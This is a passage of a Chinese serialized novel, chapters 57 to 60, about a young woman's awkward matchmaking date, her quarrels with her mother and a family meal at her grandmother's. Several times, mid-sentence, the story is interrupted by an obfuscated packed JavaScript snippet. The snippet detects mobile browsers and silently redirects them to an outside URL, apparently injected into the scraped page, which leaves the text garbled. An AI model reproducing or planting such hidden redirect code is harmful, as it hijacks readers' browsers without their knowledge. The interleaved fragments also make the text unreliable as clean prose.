;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301331|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与外婆家各取所需,休戚与共,谁也不可怜,谁也不过分。 晚间,钱鹄再次发来信息。 “刚洗完澡,这水压真是小呀!” “我在看你推荐的《小城日常》,不得不说,挺有意思的。” 他注意到我头像换了,顺便问了出处。 “砖瓦房真的冬暖夏凉吗?”我问道。榕潭的房子买在三楼,不仅不隔音,朝东的房间冬天冷得要命。 “要说荫凉吧,夏天还可以,但热起来,还是要开空调。” “冬天的话,哪哪都冷。“我爸去年耐不住,买了个小太阳,结果一整个冬天,反复地感冒、吃药。” 还能这样?真不知道他们家怎么操作的。 “我以后装修房子,一定要铺地暖。”他在消息里说道。 “杉湖的房子没地暖?”我问道。 “没有。” “把客厅的空调打开,不也是一样?” “客厅没空调。”他回复道。 “那你妈妈夏天做饭,得有多热呀!”这么热的天,炒起菜来,厨房不跟个火炉似的! “她一般把电扇放在厨房门口。” “那你们在哪吃饭呢?”我纳闷。 “房间里有空调呀!我爸妈搬回榕潭,他们的那间屋子被我拿来当作电脑房,平时就在电脑房撑个小桌吃饭。” 我家客厅也没有空调。还在杉湖,夏天的时候,但凡爸爸在厨房做饭,必定会把两个房间的门同时开着。那套房子面积不大,只七、八十个平方,没有过道,所有房间均通向客厅。妈妈还在客厅装了壁扇,同时打开两个挂机,虽不定有多凉快,起码不热。 钱鹄爷俩不做饭,连心疼人都不会。都说男人顾不顾家,看他父亲就知道,钱鹄爸爸倒插门,却是孩子随他姓,家里的事半点不管。颜盐找了个这样的老公,虽不惹事,冷暖想必自知。不知人到晚年,她如何看待自己的一生。 周六店里空闲下来,我把手伸到妈妈面前,开口道:“给钱!” “你爸爸不是才转了你生活费?”她问道。 钱上面的事情,我没有瞒着妈妈。 “那是给我吃喝的。要我去相亲的是你,相应的经费也该你出。”我说得理智气壮。 “你自己要抢着买单,哦,敢情让我当冤大头!”她一脸难以置信。 “凭什么要他给钱?他又不欠我的。我为什么要吃别人的,喝别人的,我自己屋里没有?” “你要多少?两百够不够?”她开始妥协,却想轻易打发。 “哼,两百都不够一顿饭。” “你狮子大张口吔!我一天的净利润也不到两百!” “你不是有钱算命吗?好办得很,没有钱就不出去。”我耍起了无赖。 “那你要多少?”她再次妥协。 “你看着给吧!”我玩味地看着她。 “行嘞,我给!”她给我转了一千块钱。 “今年夏天我还没有买短袖呢,这事先记着!”收了钱,我再次开口。 “等一下,我还有事要问你。” 我看着妈妈,等她开口。 “你昨天怎么把钱鹄带到店里来了?” “不然咧?” “在屋里吹空调,或者出去逛逛,都行啊!” “呵,把男生往家里带,你怎么说得出口!” “这有什么不行,我怎么发现,你比我还要封建,哪里像现在的年轻伢们!” “而且,我觉得你对钱鹄的态度,不是蛮好。这个事情,是你同意继续的,那你就要对别人客客气气的。” “我昨天听你们两个聊天,别人和你好声好气地说,你在那里梗着是个什么意思?” 我不知她这些话从何说起。 被人冒犯我都求告无门,到她那里,却是我做得不对。 “我昨天让他进屋洗了手的。我看他裤腿粘了狗毛,还给他拿了粘毛滚筒。” “那你有没有帮他粘咧?”妈妈这般问道。 “你是哪个的妈妈?还要我给他粘,他自己没有手?”我驳斥道。 “人要讲道理,哪个的妈妈又怎样?我还不是希望你们能相处得更好。”她丝毫不觉得自己站不住脚。 “我是被你卖出去了吗?你还要提供售后服务?”我的脾气也上来了。 “你这是在讲什么话?说得人多心寒!什么叫把你卖了出去?你要钱也给你了,什么都如你的意,就是要你和别人好好说话,你居然这样说我!”妈妈转而指责我。 一时之间,我竟弄不清,究竟是我的委屈不合理,还是我把话说得过了头。 妈妈的神情严肃又震惊,我情不自禁地被她牵着鼻子走。 “对不起,妈妈,是我说错了话。”我给她道歉。 “你爱怎样就怎样!我是为了你好,却被你说成卖女儿。真是太叫人寒心了!”她背过身不再理我。我讪讪地离开了店。 57. 2025年7月,第28周 57 [2025年7月,第28周] 睡醒后,我没有做饭,而是喝了一杯丹参破壁饮片。虽只出去一个下午,人却一直打瞌睡。我对此很是不习惯。 “今天这么热,狗狗还是趴在客厅吗?” 上回并未注意到,就算目视前方,钱鹄也常常压到中线。车行驶在路上,他一开口说话,就把头扭了过来。 “你看着前面!”我提醒道。 “好,看着在,没事的。”他毫不在意。 “空调没关,房门给它留了缝,方便它出去上厕所。” 说着话,他竟然又把头扭了过来。多说无益,我在心中叹了一口气。 “你什么时候拿的驾照?”我问道。 “刚毕业没有工作,我妈就让我去考驾照。” “你爸爸以前不是开出租吗?他没陪你练车?” “他的车子是手动挡。再说了,他坐在旁边念个不停也蛮烦人。搞了一回之后,他就不想再陪我了。他把钥匙给我,让我自己去练。我没这个心思,拿到驾照不就行了。” “不过,这辆车买回来,先是给我上班开的。你也晓得,武陵到安乐的那条路,每天堵得跟什么似的,起床的时间,比搭轻轨还要早。” “开了一段时间,我就把车给我爸爸了。” 我觉得他没有说到点子上。“你们单位有停车位吗?” “有哇,还挺多的!” “可以随便停?” “登记一下就行了。不过没什么人开车,我同事基本都住在公司旁边,哪像我,住在武陵。” “你这车,九五的油吧?”我问道。 “嗯。” “油耗也高吧?”日系车通常最省油,美系车油耗则相对较高。 “八到十个油吧。” “开车上班,又时常堵车,油费也不便宜吧?” “还好吧。”他打了个哈哈,看来,他和我并没有共同话题。想必,油钱不归他出。 秀湖离公司也就一站路,我平常都是搭地铁过来。这回走地面,恰逢周末,一路上走走停停。 “绿灯了!”我提醒道。他的注意力被对面的交通事故死死地吸引着。 “哦,好!”他应声道。 “靠边走,”我再次提醒他,右前方就是商场。 他踩起油门来,也是没轻没重,好在刹车也踩得及时。得亏他开的不是电车。 秀悦城开业时间不长,地处二环核心地段,周边的商圈早已开发完成,近些年,仍在不断升级。秀悦城聚焦都市青年、品质家庭和精英白领三重定位,第一次听说,是隔壁工位的小孩姐在聊天中提及。 安乐区的大型商场扎推,路途虽堵,却不愁没有停车的地方,地下停车场均是三层起步。停好车,我带上座位边的矿泉水。钱鹄拍下停车位,两人往电梯间走去。 “好热啊,”他说道。 毕竟是地下停车场,没有冷气。“你今天怎么又穿中袖?” 他穿着第一次见面的那件黑色棉麻中袖。 “这就是短袖啦!我想着在商场里嘛,肯定有冷气。” 上到地下一层,我对钱鹄说:“我还没有吃午饭,我去买个汉堡。” 他却随我进去,说:“正好,我中午吃得少,睡了一觉起来,肚子又饿了。” “你想吃点什么,我来点。” 柜台上的亚克力罩子里摆着BFF大头狗玩具,溪辞还在电话里和我提起过。我记得很多年前就出过这个系列,那个时候她就有一只。我有些心动,询问过店员,才得知活动已经有几天了,店里现在一只都不剩了。 “一个麦辣鸡腿堡就行。”我答道。 他取餐回来,却端着满满一盘。 “你吃得玩吗?”我问道。 “看着多而已。” “我记得你家里有很多麦当劳和肯德基的玩具,”我向他提起。和他的第一次见面,是跟着外婆到他家出诊。那时,《机灵小不懂》播完没多久,他家里人将他唤作不懂,结合他留的圆寸发型,倒也贴切。 “嗯,小时候每回进城,都会吃这些。”他说道。 “你爸妈对你挺好的,”我感慨道。 “他们才不愿意带我吃这些呢!”他说道。 “那你怎么有那么多玩具呢?” “他们不带我吃,我就闹哇!大庭广众之下,他们拿我没有办法,不答应也得答应,这不就带我去吃了嘛!百试不爽。”他回答得理直气壮,言语间还有几分得意,至今仍未觉得有什么不妥。 闻言,我皱起了眉头。爸妈宠爱是一回事,撒泼打滚、无理取闹就是另外一回事了。一个男孩子,为着这点小事如此举措,实在不堪入目。为着教养小孩,红白脸合作也能闹出争执,若是碰到这种三观不合、是非不分的队友,遑论小孩难教,自己都得气死。 “你今天没在店里吃午饭吗?”钱鹄问道。 “中午都是自己弄饭。” “你会做饭呀!手艺肯定很不错。” “随便糊弄一下而已,做饭太麻烦了,没得那种心情。” 周末的商场,哪哪都人多。有年轻人,有父母带着小孩的,也有老人带着大孙子的。秀悦城多是吃的和玩的,异常热闹。 用完餐,我在手机上买好电影票,算好时间,在寿司店进行预约。 乘坐扶梯上到影院那层,脑袋有些嗡嗡作响。许是心情不错,钱鹄无事却在那哼唧个不停。我侧头看了他几眼,觉得怪别扭的。 门口摆着几台游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301332|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,有人在玩《马里奥兄弟》,还有人在玩《双人成行》。 “你玩过《双人成行》没?”我问道。 “知道有这个游戏。” “你知道Unity和虚幻吗?”我问道。 “知道呀,游戏引擎嘛,那个大logo。” “《双人成行》就是用虚幻开发的。”我和他说道。 “哦。” “你平时玩手游吗?”钱鹄问道。 “你知道《光夜》吗?女性向恋爱游戏,我之前玩那个。” “知道,经常看见推广。” “你呢?”我问道。 “我呀,玩《魔法觉醒》。” 这游戏刚出的时候,我兴致满满,可我着实对这类卡牌游戏没啥兴趣。 “不管是哪种手游,日活的时间耗费得太多了。玩得时间长了,总有一种陪玩的感觉。” “还行吧,我也就每天上去瞅一眼。” 有的游戏发行商,“充了钱就是爹”,可也有游戏发行商,“充了钱还得管他叫爹”。《魔法觉醒》的发行商属于后者,照钱鹄这样,我想,他大概率不是零氪那类玩家。 在自动取票机取完票,他驻足在影城近期上映的公告牌,说道:“《鬼灭之刃》今年要上剧场版,国内也会引进。” “哦。” “我蛮想看《超人》的。还有《神奇四侠》,我小时候老喜欢看这个了。这个是有动画的,我每集都追。” 《超人》的话我还有印象,同是九零后,怎么感觉他的童年和我的童年不太一样。我小时候看《忍者神龟》更多。 “你有没有看过《金山行》?”他问道。 “什么行?” “就是韩国那个,讲丧尸的……” “《釜山行》?”我难以置信地猜想道。 “那个字念‘fu’呀!我一直读‘jin’来着。”他既不为自己辩解,面上也看不出半点不好意思。 他这般已然不是贪玩不好好学习的范畴了。我见过很多男生,即使不那么聪明,人前也不愿意落了下乘。被人指出错误,却是这个反应,我知道的有两种:一种是服气的,大方改正就是;还有一种,则是死猪不怕开水烫。 姜斯承小时候最常做的一件事,就是抱着《现代汉语词典》坐在外婆家门口,从第一页翻起。虽然我读书的时候常把《水浒传》念作“水‘xu’传”来逗趣,可这是两码事。心中一个惊雷,让我有些清醒。一直以来,我忽视了一个可能,那就是学习成绩不好,除了贪玩,也可能是学不会。钱鹄这样,我将信将疑,开始偏向后者。 入口处开始检票,他装作不经意,推了我后背一下。“开始检票了,”他说道。 我按下心中不悦,往前走去。 58. 2025年7月,第28周 58 [2025年7月,第28周] 《田忌赛马》是小学的一篇课文。回合制比赛中,不在于把把都赢,而是取得整体上的胜利。于是乎,用自己的短处废除对方的长处,就算对方及时醒悟,为时已晚矣。接下来,对方身处不利情形,就更要在心理层面稳得住,善加利用优势上的领先地位,接连取得之后的胜利。 影片中,桑尼对自己的定位无比清晰,纵观全局,他都不是那个需要用一场胜利来洗刷过去耻辱的战败之人。不追求赢的人,亦不存在输,置身于赛场上的他,已立于不败之地。个人胜利之上,是全局的荣耀。 世界一级方程式锦标赛与奥运会、世界杯并称为“世界三大体育盛事”。F1的参赛壁垒极高,一支车队本身就是一个技术密集、资本密集的复杂运营实体。正因如此,即便所有者更迭,其参赛席位与核心资产也拥有巨大价值,通常以转让或收购的方式延续生命。 F1被誉为“赛车运动的皇冠”,其核心魅力在于它代表了汽车工业最前沿的极限技术竞技场。赛车的动力单元、空气动力学、底盘悬挂、轮胎以及电子数据系统,均是极限与安全的极致角逐。为此,FIA制定了无比详尽的技术规则,以保障安全并引导技术创新方向。同时,引入了预算帽制度,控制成本、促进各车队间的可持续公平竞争,从而提升整个锦标赛的竞争激烈程度与可持续性。 F1车手在驾驶中所承受的,不仅是在高温驾驶舱中对抗身体的脱水,还要在每次过弯时承受高达四至五个G的横向加速度,与此同时,他们还需在海量信息中近乎本能地作出瞬时判断与毫秒级操作。这不仅是体能的对抗,更是精神意志与神经控制力在极限状态下的无间配合。 我常常在科幻电影中获悉还未实现的或是成熟的顶尖技术。《F1:狂飙飞车》耗资二点五亿美元,与真实F1赛事合作。影片中,一群人围在长桌前却带着耳塞在会议中发言,这一真实贴切的细节,让人十分在意其用意。这部影片并无流于俗套的胜券在握和王者风范,也没有砥砺前行后的一雪前耻。整场电影,观影者跟随车手的视角,过程中,亦有一些生理上的眩晕。与之相对的,在个人追求上,影片则给出了心流的高度。 这让我觉得费解。我从未挑战过极限,相反,我可能过于追求从容了。可这无碍于理解心流的意义。正是我从来就有轻易进入心流的能力,掌中之物被他人视作毕生追求,凌驾于至高荣誉之上,这让我觉得怅然。 王国维在《人间词话》中提出治学三阶段,并用三句词作喻:第一境界“昨夜西风凋碧树,独上高楼,望尽天涯路”;第二境界“衣带渐宽终不悔,为伊消得人憔悴”;第三境界“众里寻他千百度,蓦然回首,那人却在灯火阑珊处”。 我之愚钝,从不敢标榜自己博学,因为一问便会露馅。可阴差阳错,此间怅然,倒与“蓦然回首”稍稍有些共通之处。 影片结束,“布拉德·皮特好帅呀!”钱鹄这般感慨道。 回转寿司店一向座无虚席,这一回,更是在门口摆起了方阵。钱鹄守到一个圆凳,我摇摇头,他便自己坐下。之后旁边人被叫号,我也坐了下来。店门口还摆着人形立牌,不时有人上前合照,让人感受到青春洋溢。 没一会,就轮到我们进店。点过餐,我将平板递给钱鹄,他又加了几样,和一份拉面。这一顿叫我吃得兴趣索然,全无舒适。他满嘴食物的样子,叫人顿时没了食欲。 服务员过来清点碟盘,我扫了立牌上的二维码,用了两张满一百减五元的券。 回家后不久,钱鹄发来消息:“我一到家,我妈就给我爸发消息,没一会,他就从麻将室回来了。” “麻将室能随便下桌?”我问道。 “他又没上场,只是在那里看别人打牌。” 炸面窝的时候,偶尔会有人过来问有没有油条。妈妈听到后,又动起了心思。 “我们也炸油条吧?” 我心中很是不耐,她做事向来没度,尤其是指使别人的时候。 “你之前做过?”我问道。 “能有多难?等我回去研究下。” 我在街边用两个窝勺交替舀起米浆,不时还要打包面窝、分装豆皮。筷筒里的保鲜袋不多,还得进到屋子拽下一摞。即使这样,我惟愿妈妈在店里忙自己的,就是不忙,刷手机也好。不然,她嫌七嫌八,还要让人按她的来,这让人更难受。 俞处长不怎么买面窝,看着沥油架上堆得满满当当,他老人家有心点我几句:“你读过《资本论》没有?” 我摇了摇头。当时转岗C++,我面前有两个选项:一个是虚幻,另一个则是量化。我对后者没啥兴趣。 “集市上有两家同时卖油饺,一家个大,一家个小,你觉得哪家生意更好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不想做饭了。”我如实回答。 “行,我晚上也可以轻松一些。那你等下自己过去吃?” “我跟你一起去。” “不过,有个事,我得跟你打个预防针。”她话锋一转。 “你跟钱鹄的事还没有定下来,以免多生事端,先不要跟家家讲,明不明白?” 一直以来,嘴上没把门的,不是她吗?外婆不赞同她离婚,因此,她和爸爸离婚的事不让外婆知道,也在情理之中。可和钱鹄相亲,这事她可是喜闻乐见。她这是怎么了? 不过,就算她不叮嘱,我也不得跟外婆讲。 “知道了。” 59. 2025年7月,第28周 59 [2025年7月,第28周] 睡醒后不久,妈妈发来语音:“我到家家屋里了,你快下来吃饭!” 日头微斜,让人无处落脚,好在我撑着伞。再次来到外婆家门口,妈妈的电动三轮停在一边,房门虚掩着。 推开门,眼前一片乌漆墨黑,室内十分荫凉。电机声嗡嗡作响,屋角的柜机吞吐着白雾。我记得堂屋之前用的是挂机。这台柜机看上去颇旧,并不是二楼之前那台。 大舅坐在堂屋的椅子上,侧头看我,也不言语,把我吓了一跳。 “大舅伯,”我开口叫人。 “来了!快去吃,饭都做好了。”他对我说道。 厨房的灯亮着,外婆坐在过道,妈妈亦探头。 “家家,妈,”我喊道。 “欸,快来吃!”外婆不似上回冷淡,面上待我已与往日无二。 大舅妈还在灶台前忙碌,“舅妈,”我称呼道。 外婆家二三年再次装修,针对的就是一楼。之前铺设的地板已踩得变形,整个撬掉重铺。还定制了柜子,把灶台移到了原先吃饭的地方,空出的地方正好打通留作后门。 流理台一角摆着两个塑料沥水收纳盒,一个是我和妈妈一道在沃尔玛买的,另一个是我买在出租屋用的。家里换成沥水架后,就都拿了下来。没想到她们家不仅在用,用着还挺好。 大舅妈从中取出一个瓷碗,扭开水龙头过了趟水。“我跟你盛汤啊!你先吃菜。”说着,她从水池边上的筷笼拿了双筷子,递给我。 我入座妈妈对面的位置。不大不小的方桌摆的满满当当,苕叶尖、凉拌黄瓜、豆豉烧五花肉、土豆烧鸡、小碗装的酸豆角、豆角炒肉末、糯米蒸南瓜、红烧鱼,这还不算没端上来的萝卜鸡汤和汽水肉。这只是外婆家的日常伙食,不过,和逢年过节相比,只少一些特色菜。外婆每月给大舅妈三千元买菜,十年前就如此。 “您不吃?”我问家家。 “早上吃得晚,现在肚子还不饿。我等下再吃。” “哦。” 大舅妈盛了汤,把碗放在我面前。 “才煨好的鸡汤,你尝一下味道。” 碗里除去鸡肉块和白萝卜,还有一只鸡腿。 “留给两个小的吃,”说话间,我把鸡腿夹到一旁。 “她们呐,还不晓得吃这些。”大舅妈说道。 “她们咧?”我问道。 “都在楼上和她妈妈一起。”大舅妈回答。 “你在大舅妈这里吃饭,帮不帮着做事咧?”妈妈替大舅妈索要好处。 “洗下碗总可以吧?”她开出条件。 我就是不想在家做饭、讨方便才过来吃的,要我洗碗,还不如回楼上自己做。 她们一大家子七口人,四代同堂,真正做事的,只大舅妈一人。正常吃饭收拾碗筷,再正常不过,我一向如此。可要我伺候好吃懒做的人,我做不到。 “哎哟,我都不要婷婷洗碗。小翕来我这吃饭,我开心都来不及,哪里还会要她做事!”大舅妈替我解围。 不多时,姜子彤从楼梯间出来,却停在那里不动。姜子玥从她身后蹦蹦跳跳出现,看到厨房有生人,两只小手交握在小肚腩前,抬头看了眼姐姐,又望了望姥姥和奶奶,也杵在那里,不敢往前。陶婷婷亦从楼上下来,站在两个小孩身后,用普通话说道:“喊人唦!” 小家伙们置若罔闻。 “我们小宝最聪明了,来,喊孃孃!孃孃在店里还给你拿豆浆喝了。”大舅妈替她解围。 大舅妈早上送姜子玥上幼儿园,常打店门口过。小家伙喜欢喝豆浆,遇上的时候,总会给她盛一小杯,她咕噜几口,一下子就喝完了。 两个小的长这么大,从没有主动喊过人。我也就算了,小舅舅小舅妈、我妈,这些常见的人,也不见她们称呼。至于自家爷爷奶奶、爸爸妈妈,还有姥姥,她们倒是不怕,却也少听到她们叫人。 姜子彤垫着脚往堂屋走去。 大舅打开堂屋的灯,“大宝,你怎么不喊爷爷啊!”和自家大孙女搭话。 姜子玥想跟姐姐一起,却被妈妈拦住。 “小宝,听说你参加跳舞比赛了呢!奖状拿给我看一下好不好?”妈妈说着普通话,一字一顿,逗姜子玥开口。 “姑奶奶想看你的奖状,去拿过来唦,我也想再看一次呢!”大舅妈亦帮腔。 “去拿过来给姑奶奶看。”陶婷婷也劝说道。 小家伙看了我一眼,怕得不行,又瞧了瞧她妈妈,终于扭捏着身体,迈开步子朝隔间走去。出来时,抱着一个大册子,妈妈从她手上接过。 妈妈把证书打开,看了一眼,夸奖道:“小宝真棒!才开始跳舞,就捧回了个奖状!跳给我们瞧瞧,好不好?姑奶奶还没有看过呢!” 这回,姜子玥给出了反应,她摇了摇头,从妈妈手里拿回证书,抱在胸前。 “给孃孃看一下,好不好?我们小宝最聪明了!”大舅妈哄着姜子玥。她朝我这边走过来,怯生生地把奖状递给我。 我作势看了一眼,“哇,小宝好厉害哇!”合上后,交还给她。 “还抱在手上做什么唦!拿回去放着。”陶婷婷说话一直很慢,尾音拖得很长,不是吩咐,却似吩咐。姜子玥听话地把证书放了回去。 “之前不是丸子在学跳舞吗?小宝现在和她一起?”我问道。 “大宝上了小学,你妈妈怕她分心,就说让她把课上完就不去了。正好称了这个鬼伢的心意,她直接就说不去了。我让她转去学小主持人,以后主持节目也可以呀,她也不愿意。钱又不能退,本来小宝就在屋里学着姐姐跳,让她去,她倒愿意得很。” 陶婷婷替两个小家伙呈了饭,往碗里舀了些汽水肉,夹了些凉拌黄瓜丝,用勺子把饭菜拌匀。 “我给你拿到桌子上去,烫,”她和姜子玥解释道。 “小宝,你怎么不喊爷爷吃饭呀!”他又逗弄自家小孙女。 陶婷婷回到厨房,给自己盛饭,夹了点绿叶菜,再次去到堂屋。 “婷婷今天休息?”我问道。 姜斯承之前相亲,家里的几位还还唆使我作陪。在那之后,我就不碰这档子事了。陶婷婷性格内向,说起话来闷声闷气。我和她接触不多。 “她们厂设备检修,所有员工等通知返工。”大舅妈回答道。 “那可以休息多长时间?”我接着问。 “之前只一两天就继续上班了,这回说是得个把月。” “那不是相当于放了个暑假。工资怎么算咧?” “按最低标准发。” “那还可以啊!” “她们药厂还是蛮正规的,过节都有礼物吔!”大舅妈说道。 “小翕,我明天要陪家家去四医院做透析,屋里没得人。饭菜都做好了,到时候,你自己过来吃啊!” 妈妈拿出钥匙,解下一串,递给我:“这是前门的钥匙,你自己开门进来。” “那你咧?”我问道。 “我那还有。” “哦。” “家家一周透析几回?”我问道。 “一周两次,周一和周四去。” “怎么去咧?” “叫了车,半个小时就可以到,你不用担心。” “哦。” “还有烧的鸡子,你自己夹着吃啊,不要讲客气!”大舅妈嘱咐道。 我边吃边点头。 “看你们吃,我肚子也饿了。”妈妈已经吃完,闻言,她起身让出位置,也去到堂屋。 “你想吃什么就和大舅妈说,”外婆和我说道。 大舅妈替外婆盛饭,“帮我往碗里倒点开水,”外婆吩咐道。 “不是有汤吗?”我问道。 “我就想这样吃,你不要管我。” 小时候,告诉我白开水泡饭对胃不好的就是外婆。她本身就有高血压和糖尿病,可一旦到自己头上,却比谁都要任性。 “哦。” 大舅也来到厨房,他在门口杵着,面色不善。 我端着碗筷坐到一边,把位置让给他。 吃完饭,我去到堂屋。摆设与之前没什么不同,只多了一张两人用的书桌,两个小家伙正拿着彩色铅笔在那涂涂画画。我上前瞅了一眼,是我之前拿下来的《秘密花园》三部曲。其实,我当时更想拿下来的是画册,可又担心她们不爱惜书,白白糟蹋了东西。《秘密花园》涂色书买了很久,配套的还有四十八色彩铅。我以为我会喜欢,买回家才意识到,是小时候的自己会喜欢。之前学《破产姐妹》里的卡洛琳画愿景板,彩铅还派上用场了呢! 招聘应用上一家公司给我发出面试邀请,公司地点就在秀湖附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301334|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近,不过出了地铁站,还得步行二十来分钟。 巧的是,那位置和之前三家涉及VR的公司之一相同,但公司的名字不同。我给姜斯童发消息,问他有没有听说过这家公司。 “咋了?” “有个面试。” “你不是考公吗?”他问道。 “是啊,”后面跟了个捂脸的表情。 “偶尔刷刷,碰巧看到了一个合适的。” “对方发出邀请后,又不太想去,可退一步想,万一是间不错的公司呢?” “好像是黑心工厂,我身边没人去。既然你决定考公务员了,就一条心走到黑。”没曾想,他拎得这般清楚。 “是这个道理,”我表示赞同。 此事不了了之。 在外婆家用过晚饭,外婆对我说:“你等会跟你妈妈把饭送上去咧?” “好。” “我给你拿纸碗啊!”大舅妈放下手里的活,从门后的大塑料袋翻出一摞一次性纸碗,递给我一只,把余下的挂到方桌后的柜子上。 我和大舅妈开口:“舅妈,我等下想打包点饭菜拿上去给狗子吃。” “没得问题,你自己拿碗装啊!饭菜都有多的,你随便夹,吃不完还不是倒了。” 我盛了米饭,泡了汤,舀了点汽水肉,夹了些萝卜、鸡肉和黄瓜。连吃带拿,心中有几分感激之情。 喂过脱兔,我把饭菜送到店里。之后,到驿站取了趟快递。 拢共买了三样东西,全是枣:红枣干泡水,灰枣夹核桃和阿胶蜜枣当零嘴。也就六十来块。我欲分一袋蜜枣给妈妈,她却责怪我乱花钱。 “这还用买?” “你买之前问一下也好呀!屋里总可以翻出来一些的。” 她常在直播间里批发,然后塞给别人,过期与否也不清楚。 她从鞋盒拿出几个钢镚,“去对门蔬菜店买些小葱,”吩咐我道。 “跟人说话客气点,老板,我过来买点葱。这样开口,知不知道?” 我没作声,往对面走去。 “老板,拿五块钱的葱。”我直接开口,干净利落。 女老板许是回家做饭了,男老板正在过道清点蔬菜。 “好。”他放下手里的活,打开冰柜,拿出一捆葱。 “今天卖得差不多了,就这么点,你拿回去,不收你钱。” 乡下的店都是自家开的,不比连锁店,明码标价。遇上强卖强卖的,比如装袋时要凑整数,三下五除二地往袋子添东西,更有甚者,要两斤肉,却切出三斤的,东西的量在那里,过多计较,反倒难看。下街的一家肉铺便是如此,一天那人到店买豆皮,看到我笑脸相迎,忍不住地不禁觑看我。可另外一种,就容忍不得了。街拐角处有一家店,我看老板面熟,一开始常去他家。可这人不地道,看我买得多,算起账来,一股脑地往上加。虽然我不问价格,可心里却有杆秤。买来买去就是那几样,一次,她报完金额,我让她再算一回。二十来块的菜钱,第二回,便只有十七、八。和她聊天的人都看不过去,“我觉得,你这样不对。”旁人这般说道。 我不欲问责,扭头就走,再不去那家。 蔬菜店的老板去店里照顾生意,妈妈常栽着他拿杯豆浆之类的,他但凡接手,必定给钱。 店里的蔬菜分门别类,摆放整齐,看到了想要的,都不用挑拣。有时候我拿了个看上去不错的,老板还会跟我换一个,告诉我她手里的更好。我仍不想在小事上消耗心力,结算的时候,老板说多少就给多少。可我也不想把事情弄砸,三不五时,我会过问一次单价。 我原先常在这家买菜,倒不是看人实在想要占便宜,而是买起东西来,我信任于人,也不希望别人把我当作傻子。 “那不行,该是多少就是多少。”我放下钱,回到店里。 “你晚上不在这里吃,店里的面剩的还不少。你拿回去给脱兔吃吧!”妈妈对我说。 “它不吃这个。”这可是碱水面。 “人能吃,狗不能吃啊?”妈妈很是不服。 “那你让心心吃呀!” “它们挑食,你又不是不晓得!”她说得理直气壮。 “用舅妈买的纸碗我不好意思,你明天从店里拿一桶纸碗过去。”我和妈妈提起这茬。 把东西送回楼上,我把蜜枣捎给大舅妈。 60.2025年7月,第29周 60 [2025年7月,第29周] 乡间人闲来无事,喜欢话家常;无论男女,老少皆宜。小时候,若能赶上趟,听不听得懂,我都要搬来小板凳,在旁边坐下,蹭点花生瓜子也好哇!讲到少儿不宜的,大人开赶,再走也不迟。 在乡下的这些年,纵使我与哪个都不熟,亦免不了成为他人口中的谈资话柄。去买个早餐,都有人叮嘱我早些去找工作,说着为人父母的不易。那时我回榕潭不过一年,那家店还是妈妈带我去的。一问才知道,妈妈找人借钱,用的就是子女在家吃白食的由头。 日常采购,我不论时间,有需要就出门。若是工作日光顾,次数一多,店家也能看出我无业。搭过几回话,便开始旁敲侧击、确认心中的猜想。话里虽无不是,流露出的关心意味,真真假假,我不喜,便不欲再次到店。作为消费者,我从不摆架子,也不讨价还价,商品质量不错,我拿得出钱,便银货两讫。好说话,并不意味着好欺侮。断没有花钱买东西,还要为人提供谈资这档子事。 街上除了全国连锁的便利店,也有当地人开的小型商超,在武陵各镇都有分店。另外,榕潭最大的一家超市,上下两层,就开在单元楼的对面。店老板早些年养了一只小狗,在另一个单元买了房。 大型超市什么都卖,小家电,家居衣物,冷冻食品,各类商品应有尽有。结账时,老板还会查看鲜牛奶的保质期,让人值得信赖。我一贯在他家买些冷冻的面点。其中,还买过一次过期的泡面,提醒后再次到店,余下的过期碗面仍摆在那里。 小型商超的调料品规格大、价格低,遇上这种格外实惠的,我也无法抗拒。一回,店里一位老人指着高处的食用油对我说:“丫头,帮我把那个拿下来。” 我环顾一周,的确没看见店员。不过是顺手的事,我将桶油递给老人,缺失的环节,让我有些警觉。 “您怎么不说谢谢咧?”我开口问道。 那人闭口不言,径直走向柜台。“结账,”对店员说。 店员亦有些瞠目。我心中已了然,嗤笑一声,排在老人身后。 心中念着他人的善意,这无碍于我将人情世故视为束缚。我最常去的还是连锁便利店。可是,有人的地方就有江湖,即使是连锁便利店,店里的老员工一多,公家的场所也被视作自己的一亩三分地。天高皇帝远,新员工来来走走,就再难留得下来。 好事者打探后,我便挑着打烊的时间去到便利店补货。即便这般,也躲不开他人八卦。 “丫头,你是不是没有工作啊?”店长问道。 “你是怎么看出来的咧?”话说出口,我才意识到自己可以不加理会。 “你总是打烊的时候才来,一般人不得如此。” 